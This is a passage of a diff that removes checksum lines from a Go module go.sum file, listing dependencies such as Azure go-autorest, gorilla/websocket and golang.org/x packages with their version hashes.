-github.com/Azure/go-autorest/logger v0.2.1 h1:IG7i4p/mDa2Ce4TRyAO8IHnVhAVF3RFU+ZtXWSmf4Tg= -github.com/Azure/go-autorest/tracing v0.5.0/go.mod h1:r/s2XiOKccPW3HrqB+W0TQzfbtp2fGCgRFtBroKn4Dk= -github.com/Azure/go-autorest/tracing v0.6.0 h1:TYi4+3m5t6K48TGI9AUdb+IzbnSxvnvUMfuitfgcfuo= -github.com/BurntSushi/toml v0.3.1 h1:WXkYYl6Yr3qBf1K79EBnL4mak0OimBfB0XUf9Vl28OQ= -github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802 h1:1BDTz0u9nC3//pOCMdNH+CiXJVYJh5UQNCOBG7jbELc= -github.com/NYTimes/gziphandler v0.0.0-20170623195520-56545f4a5d46 h1:lsxEuwrXEAokXB9qhlbKWPpo3KMLZQ5WB5WLQRW1uq0= -github.com/NYTimes/gziphandler v0.0.0-20170623195520-56545f4a5d46/go.mod h1:3wb06e3pkSAbeQ52E9H9iFoQsEEwGN64994WTCIhntQ= -github.com/PuerkitoBio/purell v1.0.0/go.mod h1:c11w/QuzBsJSee3cPx9rAFu61PvFxuPbtSwDGJws/X0= -github.com/PuerkitoBio/purell v1.1.1 h1:WEQqlqaGbrPkxLJWfBwQmfEAE1Z7ONdDLqrN38tNFfI= -github.com/PuerkitoBio/urlesc v0.0.0-20160726150825-5bd2802263f2/go.mod h1:uGdkoq3SwY9Y+13GIhn11/XLaGBb4BfwItxLd5jeuXE= -github.com/PuerkitoBio/urlesc v0.0.0-20170810143723-de5bf2ad4578 h1:d+Bc7a5rLufV/sSk/8dngufqelfh6jnri85riMAaF/M= -github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5 h1:0CwZNZbxp69SHPdPJAN/hZIm0C4OItdklCFmMRWYpio= -github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5/go.mod h1:wHh0iHkYZB8zMSxRWpUBQtwG5a7fFgvEO+odwuTv2gs= -github.com/asaskevich/govalidator v0.0.0-20190424111038-f61b66f89f4a h1:idn718Q4B6AGu/h5Sxe66HYVdqdGu2l9Iebqhi/AEoA= -github.com/asaskevich/govalidator v0.0.0-20190424111038-f61b66f89f4a/go.mod h1:lB+ZfQJz7igIIfQNfa7Ml4HSf2uFQQRzpGGRXenZAgY= -github.com/census-instrumentation/opencensus-proto v0.2.1 h1:glEXhBS5PSLLv4IXzLA5yPRVX4bilULVyxxbrfOtDAk= -github.com/chzyer/logex v1.1.10 h1:Swpa1K6QvQznwJRcfTfQJmTE72DqScAa40E+fbHEXEE= -github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= -github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e h1:fY5BOSpyZCqRo5OhCuC+XN+r/bBCmeuuJtjz+bCNIf8= -github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI= -github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1 h1:q763qf9huN11kDQavWsoZXJNW3xEE4JJyHa5Q25/sd8= -github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU= -github.com/client9/misspell v0.3.4 h1:ta993UF76GwbvJcIo3Y68y/M3WxlpEHPWIGDkJYwzJI= -github.com/cncf/udpa/go v0.0.0-20201120205902-5459f2c99403 h1:cqQfy1jclcSy/FwLjemeg3SR1yaINm74aQyupQ0Bl8M= -github.com/creack/pty v1.1.9 h1:uDmaGzcdjhF4i/plgjmEsriH11Y0o7RKapEf/LDaM3w= -github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ= -github.com/dnaeon/go-vcr v1.0.1/go.mod h1:aBB1+wY4s93YsC3HHjMBMrwTj2R9FHDzUr9KyGc8n1E= -github.com/docker/spdystream v0.0.0-20160310174837-449fdfce4d96/go.mod h1:Qh8CwZgvJUkLughtfhJv5dyTYa91l1fOUCrgjqmcifM= -github.com/docopt/docopt-go v0.0.0-20180111231733-ee0de3bc6815 h1:bWDMxwH3px2JBh6AyO7hdCn/PkvCZXii8TGj7sbtEbQ= -github.com/elazarl/goproxy v0.0.0-20180725130230-947c36da3153 h1:yUdfgN0XgIJw7foRItutHYUIhlcKzcSf5vDpdhQAKTc= -github.com/emicklei/go-restful v0.0.0-20170410110728-ff4f55a20633 h1:H2pdYOb3KQ1/YsqVWoWNLQO+fusocsw354rqGTZtAgw= -github.com/emicklei/go-restful/v3 v3.8.0/go.mod h1:6n3XBCmQQb25CM2LCACGz8ukIrRry+4bhvbpWn3mrbc= -github.com/envoyproxy/go-control-plane v0.9.9-0.20201210154907-fd9021fe5dad h1:EmNYJhPYy0pOFjCx2PrgtaBXmee0iUX9hLlxE1xHOJE= -github.com/envoyproxy/protoc-gen-validate v0.1.0 h1:EQciDnbrYxy13PgWoY8AqoxGiPrpgBZ1R8UNe3ddc+A= -github.com/evanphx/json-patch v4.2.0+incompatible/go.mod h1:50XU6AFN0ol/bzJsmQLiYLvXMP4fmwYFNcr97nuDLSk= -github.com/evanphx/json-patch v4.12.0+incompatible h1:4onqiflcdA9EOZ4RxV643DvftH5pOlLGNtQ5lPWQu84= -github.com/evanphx/json-patch v4.12.0+incompatible/go.mod h1:50XU6AFN0ol/bzJsmQLiYLvXMP4fmwYFNcr97nuDLSk= -github.com/evanphx/json-patch v5.6.0+incompatible h1:jBYDEEiFBPxA0v50tFdvOzQQTCvpL6mnFh5mB2/l16U= -github.com/evanphx/json-patch v5.6.0+incompatible/go.mod h1:50XU6AFN0ol/bzJsmQLiYLvXMP4fmwYFNcr97nuDLSk= -github.com/form3tech-oss/jwt-go v3.2.3+incompatible h1:7ZaBxOI7TMoYBfyA3cQHErNNyAWIKUMIwqxEtgHOs5c= -github.com/getkin/kin-openapi v0.76.0 h1:j77zg3Ec+k+r+GA3d8hBoXpAc6KX9TbBPrwQGBIy2sY= -github.com/ghodss/yaml v0.0.0-20150909031657-73d445a93680/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04= -github.com/ghodss/yaml v1.0.0 h1:wQHKEahhL6wmXdzwWG11gIVCkOv05bNOh+Rxn0yngAk= -github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1 h1:QbL/5oDUmRBzO9/Z7Seo6zf912W/a6Sr4Eu0G/3Jho0= -github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4 h1:WtGNWLvXpe6ZudgnXrq0barxBImvnnJoMEhXAzcbM0I= -github.com/go-logr/logr v0.1.0/go.mod h1:ixOQHD9gLJUVQQ2ZOR7zLEifBX6tGkNJF4QyIY7sIas= -github.com/go-logr/logr v0.2.0/go.mod h1:z6/tIYblkpsD+a4lm/fGIIU9mZ+XfAiaFtq7xTgseGU= -github.com/go-openapi/jsonpointer v0.0.0-20160704185906-46af16f9f7b1/go.mod h1:+35s3my2LFTysnkMfxsJBAMHj/DoqoB9knIWoYG/Vk0= -github.com/go-openapi/jsonpointer v0.19.5 h1:gZr+CIYByUqjcgeLXnQu2gHYQC9o73G2XUeOFYEICuY= -github.com/go-openapi/jsonreference v0.0.0-20160704190145-13c6e3589ad9/go.mod h1:W3Z9FmVs9qj+KR4zFKmDPGiLdk1D9Rlm7cyMvf57TTg= -github.com/go-openapi/jsonreference v0.19.3 h1:5cxNfTy0UVC3X8JL5ymxzyoUZmo8iZb+jeTWn7tUa8o= -github.com/go-openapi/jsonreference v0.20.1/go.mod h1:Bl1zwGIM8/wsvqjsOQLJ/SH+En5Ap4rVB5KVcIDZG2k= -github.com/go-openapi/spec v0.0.0-20160808142527-6aced65f8501/go.mod h1:J8+jY1nAiCcj+friV/PDoE1/3eeccG9LYBs0tYvLOWc= -github.com/go-openapi/swag v0.0.0-20160704191624-1d0bd113de87/go.mod h1:DXUve3Dpr1UfpPtxFw+EFuQ41HhCWZfha5jSVRG7C7I= -github.com/go-openapi/swag v0.19.5 h1:lTz6Ys4CmqqCQmZPBlbQENR1/GucA2bzYTE12Pw4tFY= -github.com/go-resty/resty/v2 v2.13.1 h1:x+LHXBI2nMB1vqndymf26quycC4aggYJ7DECYbiz03g= -github.com/go-resty/resty/v2 v2.13.1/go.mod h1:GznXlLxkq6Nh4sU59rPmUw3VtgpO3aS96ORAI6Q7d+0= -github.com/go-task/slim-sprig v0.0.0-20210107165309-348f09dbbbc0/go.mod h1:fyg7847qk6SyHyPtNmDHnmrv/HOrqktSC+C9fM+CJOE= -github.com/gogo/protobuf v1.3.1/go.mod h1:SlYgWuQ5SjCEi6WLHjHCa1yvBfUnHcTbrrZtXPKa29o= -github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b h1:VKtxabqXZkF25pY9ekfRL6a582T4P37/31XEstQ5p58= -github.com/golang/groupcache v0.0.0-20160516000752-02826c3e7903/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= -github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da h1:oI5xCqsCo564l8iNU+DwB5epxmsaqB+rhGL0m5jtYqE= -github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= -github.com/golang/mock v1.5.0 h1:jlYHihg//f7RRwuPfptm04yp4s7O6Kw8EZiVYIGcH0g= -github.com/golang/protobuf v0.0.0-20161109072736-4bd1920723d7/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= -github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= -github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= -github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= -github.com/golang/protobuf v1.5.3/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= -github.com/google/btree v1.0.1 h1:gK4Kx5IaGY9CD5sPJ36FHiBJ6ZXl0kilRiiCj+jdYp4= -github.com/google/btree v1.0.1/go.mod h1:xXMiIv4Fb/0kKde4SpL7qlzvu5cMJDRkFDxJfI9uaxA= -github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.5.8/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= -github.com/google/gofuzz v1.1.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= -github.com/google/martian v2.1.0+incompatible h1:/CP5g8u/VJHijgedC/Legn3BAbAaWPgecwXBIDzw5no= -github.com/google/martian/v3 v3.1.0 h1:wCKgOCHuUEVfsaQLpPSJb7VdYCdTVZQAuOdYm1yc/60= -github.com/google/pprof v0.0.0-20210226084205-cbba55b83ad5 h1:zIaiqGYDQwa4HVx5wGRTXbx38Pqxjemn4BP98wpzpXo= -github.com/google/pprof v0.0.0-20210407192527-94a9f03dee38/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= -github.com/google/renameio v0.1.0 h1:GOZbcHa3HfsPKPlmyPyN2KEohoMXOhdMbHrvbpl2QaA= -github.com/google/s2a-go v0.1.4 h1:1kZ/sQM3srePvKs3tXAvQzo66XfcReoqFpIpIccE7Oc= -github.com/google/s2a-go v0.1.4/go.mod h1:Ej+mSEMGRnqRzjc7VtF+jdBwYG5fuJfiZ8ELkjEwM0A= -github.com/google/uuid v1.1.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= -github.com/google/uuid v1.1.2 h1:EVhdT+1Kseyi1/pUmXKaFxYsDNy9RQYkMWRH68J/W7Y= -github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= -github.com/googleapis/enterprise-certificate-proxy v0.2.3 h1:yk9/cqRKtT9wXZSsRH9aurXEpJX+U6FLtpYTdC3R06k= -github.com/googleapis/enterprise-certificate-proxy v0.2.3/go.mod h1:AwSRAtLfXpU5Nm3pW+v7rGDHp09LsPtGY9MduiEsR9k= -github.com/googleapis/gax-go/v2 v2.0.5 h1:sjZBwGj9Jlw33ImPtvFviGYvseOtDM7hkSKB7+Tv3SM= -github.com/googleapis/gax-go/v2 v2.11.0 h1:9V9PWXEsWnPpQhu/PeQIkS4eGzMlTLGgt80cUUI8Ki4= -github.com/googleapis/gax-go/v2 v2.11.0/go.mod h1:DxmR61SGKkGLa2xigwuZIQpkCI2S5iydzRfb3peWZJI= -github.com/googleapis/gnostic v0.0.0-20170729233727-0c5108395e2d/go.mod h1:sJBsCZ4ayReDTBIg8b9dl28c5xFWyhBTVRp3pOg5EKY= -github.com/googleapis/gnostic v0.1.0/go.mod h1:sJBsCZ4ayReDTBIg8b9dl28c5xFWyhBTVRp3pOg5EKY= -github.com/gophercloud/gophercloud v0.1.0/go.mod h1:vxM41WHh5uqHVBMZHzuwNOHh8XEoIEcSTewFxm1c5g8= -github.com/gorilla/mux v1.8.0 h1:i40aqfkR1h2SlN9hojwV5ZA91wcXFOvkdNIeFDP5koI= -github.com/gorilla/websocket v1.4.2 h1:+/TMaTYc4QFitKJxsQ7Yye35DkWvkdLcvGKqM+x0Ufc= -github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= -github.com/gorilla/websocket v1.5.0 h1:PPwGk2jz7EePpoHN/+ClbZu8SPxiqlu12wZP/3sWmnc= -github.com/gorilla/websocket v1.5.0/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= -github.com/gregjones/httpcache v0.0.0-20180305231024-9cad4c3443a7 h1:pdN6V1QBWetyv/0+wjACpqVH+eVULgEjkurDLq3goeM= -github.com/gregjones/httpcache v0.0.0-20180305231024-9cad4c3443a7/go.mod h1:FecbI9+v66THATjSRHfNgh1IVFe/9kFxbXtjV0ctIMA= -github.com/hashicorp/golang-lru v0.5.1 h1:0hERBMJE1eitiLkihrMvRVBYAkpHzc/J3QdDN+dAcgU= -github.com/hpcloud/tail v1.0.0 h1:nfCOvKYfkgYP8hkirhJocXT2+zOD8yUNjXaWfTlyFKI= -github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639 h1:mV02weKRL81bEnm8A0HT1/CAelMQDBuQIfLw8n+d6xI= -github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= -github.com/json-iterator/go v1.1.8/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= -github.com/jstemmer/go-junit-report v0.9.1 h1:6QPYqodiu3GuPL+7mfx+NwDdp2eTkp9IfEUpgAwUN0o= -github.com/kisielk/errcheck v1.2.0/go.mod h1:/BMXB+zMLi60iA8Vv6Ksmxu/1UDYcXs4uQLJ+jE2L00= -github.com/kisielk/errcheck v1.5.0 h1:e8esj/e4R+SAOwFwN+n3zr0nYeCyeweozKfO23MvHzY= -github.com/kisielk/gotool v1.0.0 h1:AV2c/EiW3KqPNT9ZKl07ehoAGi4C5/01Cfbblndcapg= -github.com/kr/pretty v0.2.0 h1:s5hAObm+yFO5uHYt5dYjxi2rXrsnmRpJx4OYvIWUaQs= -github.com/kr/pretty v0.2.0/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= -github.com/kr/pty v1.1.1 h1:VkoXIwSboBpnk99O/KFauAEILuNHv5DVFKZMBN/gUgw= -github.com/linode/linodego v0.20.1 h1:Kw5Qes0E0wlKVx5EbITI+F/ambO6G+PQyK0Yi7i4EyQ= -github.com/linode/linodego v0.20.1/go.mod h1:XOWXRHjqeU2uPS84tKLgfWIfTlv3TYzCS0io4GOQzEI= -github.com/mailru/easyjson v0.0.0-20160728113105-d5b7844b561a/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc= -github.com/mailru/easyjson v0.0.0-20190626092158-b2ccc519800e h1:hB2xlXdHp/pmPZq0y3QnmWAArdw9PqbmotexnWx/FU8= -github.com/maxatome/go-testdeep v1.11.0/go.mod h1:011SgQ6efzZYAen6fDn4BqQ+lUR72ysdyKe7Dyogw70= -github.com/mitchellh/mapstructure v1.1.2 h1:fmNYVwqnSfB9mZU6OS2O6GsXM+wcskZDuKQzvN1EDeE= -github.com/moby/spdystream v0.2.0 h1:cjW1zVyyoiM0T7b6UoySUFqzXMoqRckQtXwGPiBhOM8= -github.com/moby/spdystream v0.2.0/go.mod h1:f7i0iNDQJ059oMTcWxx8MA/zKFIuD/lY+0GqbN2Wy8c= -github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= -github.com/modocache/gover v0.0.0-20171022184752-b58185e213c5 h1:8Q0qkMVC/MmWkpIdlvZgcv2o2jrlF6zqVOh7W5YHdMA= -github.com/munnerz/goautoneg v0.0.0-20120707110453-a547fc61f48d h1:7PxY7LVfSZm7PEeBTyK1rj1gABdCO2mbri6GKO1cMDs= -github.com/munnerz/goautoneg v0.0.0-20120707110453-a547fc61f48d/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ= -github.com/mxk/go-flowrate v0.0.0-20140419014527-cca7078d478f h1:y5//uYreIhSUg3J1GEMiLbxo1LJaP8RfCpH6pymGZus= -github.com/mxk/go-flowrate v0.0.0-20140419014527-cca7078d478f/go.mod h1:ZdcZmHo+o7JKHSa8/e818NopupXU1YMK5fe1lsApnBw= -github.com/oklog/run v1.0.0 h1:Ru7dDtJNOyC66gQ5dQmaCa0qIsAUFY3sFpK1Xk8igrw= -github.com/oklog/run v1.0.0/go.mod h1:dlhp/R75TPv97u0XWUtDeV/lRKWPKSdTuV0TZvrmrQA= -github.com/onsi/ginkgo v1.11.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE= -github.com/onsi/ginkgo/v2 v2.1.4/go.mod h1:um6tUpWM/cxCK3/FK8BXqEiUMUwRgSM4JXG47RKZmLU= -github.com/onsi/ginkgo/v2 v2.9.1/go.mod h1:FEcmzVcCHl+4o9bQZVab+4dC9+j+91t2FHSzmGAPfuo= -github.com/onsi/ginkgo/v2 v2.9.2/go.mod h1:WHcJJG2dIlcCqVfBAwUCrJxSPFb6v4azBwgxeMeDuts= -github.com/onsi/gomega v1.7.0/go.mod h1:ex+gbHU/CVuBBDIJjb2X0qEXbFg53c61hWP/1CpauHY= -github.com/onsi/gomega v1.19.0/go.mod h1:LY+I3pBVzYsTBU1AnDwOSxaYi9WoWiqgwooUqq9yPro= -github.com/onsi/gomega v1.27.3/go.mod h1:5vG284IBtfDAmDyrK+eGyZmUgUlmi+Wngqo557cZ6Gw= -github.com/onsi/gomega v1.27.4/go.mod h1:riYq/GJKh8hhoM01HN6Vmuy93AarCXCBGpvFDK3q3fQ= -github.com/onsi/gomega v1.27.10/go.mod h1:RsS8tutOdbdgzbPtzzATp12yT7kM5I5aElG3evPbQ0M= -github.com/peterbourgon/diskv v2.0.1+incompatible h1:UBdAOUP5p4RWqPBg048CAvpKN+vxiaj6gdUUzhl4XmI= -github.com/peterbourgon/diskv v2.0.1+incompatible/go.mod h1:uqqh8zWWbv1HBMNONnaR/tNboyR3/BZd58JJSHlUSCU= -github.com/pkg/diff v0.0.0-20210226163009-20ebb0f2a09e h1:aoZm08cpOy4WuID//EZDgcC4zIxODThtZNPirFr42+A= -github.com/pkg/diff v0.0.0-20210226163009-20ebb0f2a09e/go.mod h1:pJLUxLENpZxwdsKMEsNbx1VGcRFpLqf3715MtcvvzbA= -github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= -github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= -github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4 h1:gQz4mCbXsO+nc9n1hCxHcGA3Zx3Eo+UHZoInFGUIXNM= -github.com/rogpeppe/go-internal v1.3.0 h1:RR9dF3JtopPvtkroDZuVD7qquD0bnHlKSqaQhgwt8yk= -github.com/rogpeppe/go-internal v1.9.0/go.mod h1:WtVeX8xhTBvf0smdhujwtBcq4Qrzq/fJaraNFVN+nFs= -github.com/rogpeppe/go-internal v1.11.0/go.mod h1:ddIwULY96R17DhadqLgMfk9H9tvdUzkipdSkR5nkCZA= -github.com/spf13/afero v1.2.2 h1:5jhuqJyZCZf2JRofRvN/nIFgIWNzPa3/Vz8mYylgbWc= -github.com/spf13/afero v1.2.2/go.mod h1:9ZxEEn6pIJ8Rxe320qSDBk6AsU0r9pR7Q4OcevTdifk= -github.com/spf13/pflag v0.0.0-20170130214245-9ff6c6923cff/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4= -github.com/stoewer/go-strcase v1.2.0 h1:Z2iHWqGXH00XYgqDmNgQbIBxf3wrNq0F3feEy0ainaU= -github.com/stretchr/objx v0.1.0 h1:4G4v2dO3VZwixGIRoQ5Lfboy6nUhCyYzaqnIAPPhYs4= -github.com/stretchr/objx v0.5.0 h1:1zr/of2m5FGMsad5YfcqgdqdWrIhu+EBEJRhR1U7z/c= -github.com/stretchr/objx v0.5.2 h1:xuMeJ0Sdp5ZMRXx/aWO6RZxdr3beISkG5/G/aIRr3pY= -github.com/stretchr/objx v0.5.2/go.mod h1:FRsXN1f5AsAjCGJKqEizvkpNtU+EGNCLh3NxZ/8L+MA= -github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= -github.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= -github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= -github.com/yuin/goldmark v1.2.1 h1:ruQGxdhGHe7FWOJPT0mKs5+pD2Xs1Bm/kdGlHO04FmM= -github.com/yuin/goldmark v1.3.5 h1:dPmz1Snjq0kmkz159iL7S6WzdahUTHnHB5M56WFVifs= -github.com/yuin/goldmark v1.4.13 h1:fVcFKWvrslecOb/tg+Cc05dkeYx540o0FuFt3nUVDoE= -go.opencensus.io v0.23.0 h1:gqCw0LfLxScz8irSi8exQc7fyQ0fKQU/qnC/X8+V/1M= -go.opencensus.io v0.24.0 h1:y73uSU6J157QMP2kn2r30vwW1A2W2WFwSCGnAVxeaD0= -go.opencensus.io v0.24.0/go.mod h1:vNK8G9p7aAivkbmorf4v+7Hgx+Zs0yY+0fOtgBfjQKo= -golang.org/x/crypto v0.0.0-20190211182817-74369b46fc67/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= -golang.org/x/crypto v0.0.0-20200220183623-bac4c82f6975/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= -golang.org/x/crypto v0.10.0 h1:LKqV2xt9+kDzSTfOhx4FrkEBcMrAgHSYgzywV9zcGmM= -golang.org/x/crypto v0.10.0/go.mod h1:o4eNf7Ede1fv+hwOwZsTHl9EsPFO6q6ZvYR8vYfY45I= -golang.org/x/crypto v0.11.0/go.mod h1:xgJhtzW8F9jGdVFWZESrid1U1bjeNy4zgy5cRr/CIio= -golang.org/x/crypto v0.12.0 h1:tFM/ta59kqch6LlvYnPa0yx5a83cL2nHflFhYKvv9Yk= -golang.org/x/crypto v0.12.0/go.mod h1:NF0Gs7EO5K4qLn+Ylc+fih8BSTeIjAP05siRnAh98yw= -golang.org/x/crypto v0.13.0 h1:mvySKfSWJ+UKUii46M40LOvyWfN0s2U+46/jDd0e6Ck= -golang.org/x/crypto v0.14.0 h1:wBqGXzWJW6m1XrIKlAH0Hs1JJ7+9KBwnIO8v66Q9cHc= -golang.org/x/crypto v0.15.0/go.mod h1:4ChreQoLWfG3xLDer1WdlH5NdlQ3+mwnQq1YTKY+72g= -golang.org/x/crypto v0.16.0/go.mod h1:gCAAfMLgwOJRpTjQ2zCCt2OcSfYMTeZVSRtQlPC7Nq4= -golang.org/x/crypto v0.18.0/go.mod h1:R0j02AL6hcrfOiy9T4ZYp/rcWeMxM3L6QYxlOuEG1mg= -golang.org/x/crypto v0.21.0 h1:X31++rzVUdKhX5sWmSOFZxx8UW/ldWx55cbf08iNAMA= -golang.org/x/crypto v0.22.0 h1:g1v0xeRhjcugydODzvb3mEM9SQ0HGp9s/nh3COQ/C30= -golang.org/x/crypto v0.22.0/go.mod h1:vr6Su+7cTlO45qkww3VDJlzDn0ctJvRgYbC2NvXHt+M= -golang.org/x/crypto v0.23.0 h1:dIJU/v2J8Mdglj/8rJ6UUOM3Zc9zLZxVZwwxMooUSAI= -golang.org/x/crypto v0.23.0/go.mod h1:CKFgDieR+mRhux2Lsu27y0fO304Db0wZe70UKqHu0v8= -golang.org/x/exp v0.0.0-20200224162631-6cc2880d07d6 h1:QE6XYQK6naiK1EPAe1g/ILLxN5RBoH5xkJk3CqlMI/Y= -golang.org/x/image v0.0.0-20190802002840-cff245a6509b h1:+qEpEAPhDZ1o0x3tHzZTQDArnOixOzGD9HUJfcg0mb4= -golang.org/x/lint v0.0.0-20201208152925-83fdc39ff7b5 h1:2M3HP5CCK1Si9FQhwnzYhXdG6DXeebvUHFpre8QvbyI= -golang.org/x/mobile v0.0.0-20190719004257-d2bd2a29d028 h1:4+4C/Iv2U4fMZBiMCc98MG1In4gJY5YRhtpDNeDeHWs= -golang.org/x/mod v0.7.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= -golang.org/x/mod v0.8.0 h1:LUYupSeNrTNCGzR/hVBk2NHZO4hXcVaW1k4Qx7rjPx8= -golang.org/x/mod v0.9.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= -golang.org/x/mod v0.10.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= -golang.org/x/mod v0.14.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= -golang.org/x/net v0.0.0-20170114055629-f2499483f923/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20190603091049-60506f45cf65/go.mod h1:HSz+uSET+XFnRR8LxR5pz3Of3rY3CfYBVs4xY44aLks= -golang.org/x/net v0.0.0-20191004110552-13f9640d40b9/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= -golang.org/x/net v0.0.0-20220722155237-a158d28d115b h1:PxfKdU9lEEDYjdIzOtC4qFWgkU2rGHdKlKowJSMN9h0= -golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= -golang.org/x/net v0.8.0/go.mod h1:QVkue5JL9kW//ek3r6jTKnTFis1tRmNAW2P1shuFdJc= -golang.org/x/net v0.9.0/go.mod h1:d48xBJpPfHeWQsugry2m+kC02ZBRGRgulfHnEXEuWns= -golang.org/x/net v0.13.0/go.mod h1:zEVYFnQC7m/vmpQFELhcD1EWkZlX69l4oqgmer6hfKA= -golang.org/x/net v0.14.0/go.mod h1:PpSgVXXLK0OxS0F31C1/tv6XNguvCrnXIDrFMspZIUI= -golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE= -golang.org/x/net v0.19.0/go.mod h1:CfAk/cbD4CthTvqiEl8NpboMuiuOYsAr/7NOjZJtv1U= -golang.org/x/net v0.23.0/go.mod h1:JKghWKKOSdJwpW2GEx0Ja7fmaKnMsbu+MWVZTokSYmg= -golang.org/x/oauth2 v0.10.0/go.mod h1:kTpgurOux7LqtuxjuyZa4Gj2gdezIt/jQtGnNFfypQI= -golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9 h1:SQFwaSi55rU7vdNs9Yr0Z324VNlrF+0wMqRXT4St8ck= -golang.org/x/sync v0.0.0-20210220032951-036812b2e83c h1:5KslGYwFpkhGh+Q16bwMP3cOontH8FOep7tGV86Y7SQ= -golang.org/x/sync v0.1.0 h1:wsuoTGHzEhffawBOhz5CYhcrV4IdKZbEyZjBMuTp12o= -golang.org/x/sync v0.5.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= -golang.org/x/sys v0.0.0-20170830134202-bb24a47a89ea/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20190209173611-3b5209105503/go.mod 